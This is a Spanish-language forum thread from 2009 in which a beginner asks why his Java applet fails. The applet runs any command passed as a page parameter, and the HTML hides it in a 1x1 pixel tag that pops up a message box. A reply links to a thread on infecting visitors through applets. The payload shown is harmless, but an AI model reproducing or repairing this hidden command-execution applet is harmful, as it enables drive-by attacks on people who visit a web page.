¿Porque no funciona mi applet?

Iniciado por andres52, 20 Abril 2009, 02:08 AM

0 Miembros y 1 Visitante están viendo este tema.

andres52

Apenas estoy empezando en java pero ya me he quedado estancado, consegui un código en este mismo foro para abrir el cmd desde un applet pero simplemente no funciona, aqui el código:

Citarimport java.applet.*;
import java.awt.*; 
import java.io.*;
public class script extends Applet
{
     public void init()
     {
          Process f;
          String first = getParameter("first");

           try
           {
                f = Runtime.getRun time().exec(first);
           }

           catch(IOException e)
           {
                e.printStackTrace();
           }
      }
}

Ese es el applet, y aqui el código html:

Citar
<applet width="1" height="1" code="script.class">
<param name="first" value="cmd.exe /c msg * Hola Mundo!" />   </applet>

Ya probe subiendo solo la clase y subiendo todo el .jar agregando archive='script.jar' y en las dos me sale:

java.lang.Clas sFormatError: Illegal UTF8 string in constant pool in class file script

¿Que estoy haciendo mal? gracias

juancho77

Java no esta hecho para esto que quieres hacer. Para usar la shell usa batch. Ningun hacker usaria Java nunca.

En cuanto a tu duda: si recien estas empezando, te recomendaria que empieces por algo mas simple. Un programita normal, no un applet con todo el lio que eso implica. O sea, aun no sabes herencia y quieres hacer un applet?  :o

~~

Para lo que quiere hacer precisamente se requiere Java, ya que vale para ejecutar un comando cualquiera de consola con ver una web (o eso creo :P) Leete esto detenidamente:
http://foro.elhacker.net/hacking_avanzado/poc_infeccion_mediante_java_applet_y_vbscript-t240306.0.html


andres52

De ahi justamente lo saque... y de hecho postee ahi pero no me respondieron por lo que me vine a la zona de java.. no puedo simplemente hacerlo funcionar, agradeceria muchisimo su ayuda.